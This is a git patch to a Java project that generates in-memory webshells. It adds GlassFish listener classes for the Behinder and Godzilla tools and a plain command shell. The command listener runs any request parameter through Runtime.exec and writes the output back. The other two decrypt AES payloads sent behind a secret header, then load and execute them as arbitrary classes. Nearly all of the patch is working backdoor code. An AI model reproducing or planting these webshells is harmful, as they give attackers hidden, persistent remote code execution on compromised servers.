From b995f301abaf3f4563c369b4caff23ae47cbd306 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 26 Dec 2024 21:34:26 +0800 Subject: [PATCH] fix: glassfish7 listener failed --- .../javaweb/memshell/GlassFishShell.java | 6 +- .../javaweb/memshell/config/Server.java | 2 +- .../weblogic/WebLogic1036ContainerTest.java | 2 +- .../glassfish/behinder/BehinderListener.java | 127 +++++++++++++++ .../glassfish/command/CommandListener.java | 80 +++++++++ .../glassfish/godzilla/GodzillaListener.java | 153 ++++++++++++++++++ 6 files changed, 365 insertions(+), 5 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index 305c6dce..5663b863 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; +import com.reajason.javaweb.memshell.glassfish.command.CommandListener; +import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; @@ -10,9 +13,6 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index ec1e6c88..72fb754c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -68,7 +68,7 @@ public enum Server { /** * 宝兰德中间件 */ - Bes(null), + Bes(new BesShell()), /** * 东方通中间件 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 7fe1c92e..08d1e8b8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -37,7 +37,7 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), +// arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java new file mode 100644 index 00000000..be859387 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memshell.glassfish.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } + +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java new file mode 100644 index 00000000..2ada8966 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.glassfish.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } + + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java new file mode 100644 index 00000000..1cf3bea7 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java @@ -0,0 +1,153 @@ +package com.reajason.javaweb.memshell.glassfish.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +}